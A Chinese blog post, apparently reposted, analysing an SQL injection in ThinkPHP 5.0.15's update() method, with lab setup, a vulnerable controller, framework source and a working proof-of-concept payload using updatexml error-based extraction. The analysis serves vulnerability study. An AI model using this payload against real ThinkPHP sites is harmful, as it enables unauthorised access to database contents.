12-PHP代码审计——ThinkPHP5.0.15 update注入分析

Posted songly_

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了12-PHP代码审计——ThinkPHP5.0.15 update注入分析相关的知识,希望对你有一定的参考价值。

环境:

thinkphp_5.0.15_full

poc:

level[0]=inc&level[1]=updatexml(1,concat(0x7,user(),0x7e),1)&level[2]=1

 

下载ThinkPHP5.0.15解压到www.tptest.com目录下,并在phpstudy中将域名站点的网站目录改为ThinkPHP5.0.15的public目录。

在application目录的config.php文件中开启跟踪调试模式,如下所示:

// 应用调试模式
'app_debug'              => true,
// 应用Trace
'app_trace'              => true,

 

然后在application目录的database.php文件中配置数据库

// 数据库类型
'type'            => 'mysql',
// 服务器地址
'hostname'        => '127.0.0.1',
// 数据库名
'database'        => 'thinkphp32',
// 用户名
'username'        => 'root',
// 密码
'password'        => '123456',
// 端口
'hostport'        => '3306',

 

如果出现以下画面说明配置正常

 

update注入示例程序:

class Index
{
    public function index()
    {
        ///a表示以数组接收level
        $level = input("level/a");
        $data = db("users")->where("id" , 1)->update(["level"=>$level]);
        dump($data);
    }
}

thinkphp提供了input函数来接收数据,那么问题是input函数是如何接收提交的参数?

 

访问网址提交poc:

网页返回了错误信息,直接把数据库的用户信息爆出来了。

 

在input函数中,内部有两个函数比较重要:filterValue和typeCast

public function input($data = [], $name = '', $default = null, $filter = ''){
    if (false === $name) {
        // 获取原始数据
        return $data;
    }
    $name = (string) $name;
    if ('' != $name) {
        // 解析name,提取数据
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        } else {
            $type = 's';
        }
        // 按.拆分成多维数组进行判断
        foreach (explode('.', $name) as $val) {
            if (isset($data[$val])) {
                $data = $data[$val];
            } else {
                // 无输入数据,返回默认值
                return $default;
            }
        }
        if (is_object($data)) {
            return $data;
        }
    }
    //后面的操作都是对数据过滤,强转
    // 解析过滤器
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter)) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    } else {
        //提取数据并过滤
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制数据类型转换
        $this->typeCast($data, $type);
    }
    return $data;
}

 

filterValue函数内部实际是使用了filterExp函数过滤特殊关键字,如下所示:

public function filterExp(&$value){
        // 过滤查询特殊字符
        if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
            $value .= ' ';
        }
}

如果提交的数据中出现了以上这些关键字的话,都会被过滤掉

 

 

typeCast函数内部会会对数据进行数据类型转换,支持以下数据类型转换

    private function typeCast(&$data, $type){
        switch (strtolower($type)) {
            // 数组
            case 'a':
                $data = (array) $data;
                break;
            // 数字
            case 'd':
                $data = (int) $data;
                break;
            // 浮点
            case 'f':
                $data = (float) $data;
                break;
            // 布尔
            case 'b':
                $data = (boolean) $data;
                break;
            // 字符串
            case 's':
            default:
                if (is_scalar($data)) {
                    $data = (string) $data;
                } else {
                    throw new \\InvalidArgumentException('variable type error:' . gettype($data));
                }
        }
    }

 

thinkphp5.0.15操作数据库操作流程:

db()  -->  where()  -->  update()

 

db()函数主要是实例化数据库的一些初始化操作,where函数内部是一些赋值操作,我们重点从update函数开始分析:

 public function update(array $data = []){
    //提取数据进行赋值
    $options = $this->parseExpress();
    $data    = array_merge($options['data'], $data);
    $pk      = $this->getPk($options);
    if (isset($options['cache']) && is_string($options['cache']['key'])) {
        $key = $options['cache']['key'];
    }

    if (empty($options['where'])) {
        // 如果存在主键数据 则自动作为更新条件
        if (is_string($pk) && isset($data[$pk])) {
            $where[$pk] = $data[$pk];
            if (!isset($key)) {
                $key = 'think:' . $options['table'] . '|' . $data[$pk];
            }
            unset($data[$pk]);
        } elseif (is_array($pk)) {
            // 增加复合主键支持
            foreach ($pk as $field) {
                if (isset($data[$field])) {
                    $where[$field] = $data[$field];
                } else {
                    // 如果缺少复合主键数据则不执行
                    throw new Exception('miss complex primary data');
                }
                unset($data[$field]);
            }
        }
        if (!isset($where)) {
            // 如果没有任何更新条件则不执行
            throw new Exception('miss update condition');
        } else {
            $options['where']['AND'] = $where;
        }
    } elseif (!isset($key) && is_string($pk) && isset($options['where']['AND'][$pk])) {
        $key = $this->getCacheKey($options['where']['AND'][$pk], $options, $this->bind);
    }

    // 生成UPDATE SQL语句,这里又调用了一次update函数
    $sql = $this->builder->update($data, $options);
    // 获取参数绑定
    $bind = $this->getBind();
    if ($options['fetch_sql']) {
        // 获取实际执行的SQL语句
        return $this->connection->getRealSql($sql, $bind);
    } else {
        // 检测缓存
        if (isset($key) && Cache::get($key)) {
            // 删除缓存
            Cache::rm($key);
        } elseif (!empty($options['cache']['tag'])) {
            Cache::clear($options['cache']['tag']);
        }
        // 执行操作
        $result = '' == $sql ? 0 : $this->execute($sql, $bind);
        if ($result) {
            if (is_string($pk) && isset($where[$pk])) {
                $data[$pk] = $where[$pk];
            } elseif (is_string($pk) && isset($key) && strpos($key, '|')) {
                list($a, $val) = explode('|', $key);
                $data[$pk]     = $val;
            }
            $options['data'] = $data;
            $this->trigger('after_update', $options);
        }
        return $result;
    }
}

update函数内部又调用了一个update函数

 

update函数中接收的数组data是一个数组level,其实就是之前我们提交的poc,写成数组的目的是为了绕过后面的过滤。

 

 

在这个update函数中有几个函数比较关键

public function update($data, $options){
    //提取数据
    $table = $this->parseTable($options['table'], $options);
    //解析data,这里的data是level数组
    $data  = $this->parseData($data, $options);
    if (empty($data)) {
        return '';
    }
    foreach ($data as $key => $val) {
        $set[] = $key . '=' . $val;
    }

    //过滤的核心函数
    $sql = str_replace(
        ['%TABLE%', '%SET%', '%JOIN%', '%WHERE%', '%ORDER%', '%LIMIT%', '%LOCK%', '%COMMENT%'],
        [
            $this->parseTable($options['table'], $options),
            implode(',', $set),
            $this->parseJoin($options['join'], $options),
            $this->parseWhere($options['where'], $options),
            $this->parseOrder($options['order'], $options),
            $this->parseLimit($options['limit']),
            $this->parseLock($options['lock']),
            $this->parseComment($options['comment']),
        ], $this->updateSql);

    return $sql;
}

parseTable函数会把表拿出来赋值,parseData函数会对level的内容进行解析,这里我们要重点分析parseData函数对level数组做了哪些处理。

 

分析parseData函数:

protected function parseData($data, $options){
    if (empty($data)) {
        return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);
    if ('*' == $options['field']) {
        $fields = array_keys($bind);
    } else {
        $fields = $options['field'];
    }

    $result = [];
    //取出level数组中的数据,分别放入key和val
    foreach ($data as $key => $val) {
        //解析key
        $item = $this->parseKey($key, $options);
        if (is_object($val) && method_exists($val, '__toString')) {
            // 对象数据写入
            $val = $val->__toString();
        }
        if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
            if ($options['strict']) {
                throw new Exception('fields not exists:[' . $key . ']');
            }
        } elseif (is_null($val)) {
            $result[$item] = 'NULL';
        //val是否为数组
        } elseif (is_array($val) && !empty($val)) {
            switch ($val[0]) {
                case 'exp':
                    $result[$item] = $val[1];
                    break;
                case 'inc':
                    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
                    break;
                case 'dec':
                    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
                    break;
            }
        } elseif (is_scalar($val)) {
            // 过滤非标量数据
            if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
                $result[$item] = $val;
            } else {
                $key = str_replace('.', '_', $key);
                $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
                $result[$item] = ':data__' . $key;
            }
        }
    }
    return $result;
}

parseData函数将data数组中的内容取出来放入val中然后过滤,此时的val仍然是一个数组。

 

val当满足条件后,会取出val的第一个元素进行匹配,如果匹配到inc就会执行图中这行代码,parseKey函数解析了val[1]和val[2]

这行代码执行时会把val[1]和val[2]的内容拼接起来,$result[$item]中拼接成的内容是这样的updatexml(1,concat(0x7,user(),0x7e),1)+1。

因为parseKey函数虽然对key的内容做了过滤,但这里只过滤了特殊字符然后将key返回,所以这里key的内容仍然还是:updatexml(1,concat(0x7,user(),0x7e),1),之前的poc用数组的方式提交目的是为了在这里绕过过滤。

 

 

继续跟进parseKey函数如何解析val的内容

protected function parseKey($key, $options = []){
    $key = trim($key);
    //这个if没有过滤
    if (strpos($key, '$.') && false === strpos($key, '(')) {
        // JSON字段支持
        list($field, $name) = explode('$.', $key);
        $key                = 'json_extract(' . $field . ', \\'$.' . $name . '\\')';
    } elseif (strpos($key, '.') && !preg_match('/[,\\'\\"\\(\\)`\\s]/', $key)) {
        list($table, $key) = explode('.', $key, 2);
        if ('__TABLE__' == $table) {
            $table = $this->query->getTable();
        }
        if (isset($options['alias'][$table])) {
            $table = $options['alias'][$table];
        }
    }
    //过滤特殊字符
    if (!preg_match('/[,\\'\\"\\*\\(\\)`.\\s]/', $key)) {
        $key = '`' . $key . '`';
    }
    if (isset($table)) {
        if (strpos($table, '.')) {
            $table = str_replace('.', '`.`', $table);
        }
        $key = '`' . $table . '`.' . $key;
    }
    return $key;
}

接下来还调用了核心过滤函数str_replace,但是str_replace函数内部没有对$result[$item]的内容进行过滤,它只过滤了where子单元的内容,这样sql语句就绕过了后台的过滤。

 

update函数中返回的sql语句是这样的:

execute函数在执行该sql语句会报错,同时还会爆出数据库的用户信息。

到此,漏洞分析结束。

 

以上是关于12-PHP代码审计——ThinkPHP5.0.15 update注入分析的主要内容,如果未能解决你的问题,请参考以下文章

利用Thinkphp 5缓存漏洞实现前台Getshell

e语言代码如何审计

代码审计那些代码审计的思路

当前市面上的代码审计工具哪个比较好?

代码审计思路之PHP代码审计

代码审计利器-Seay源代码审计系统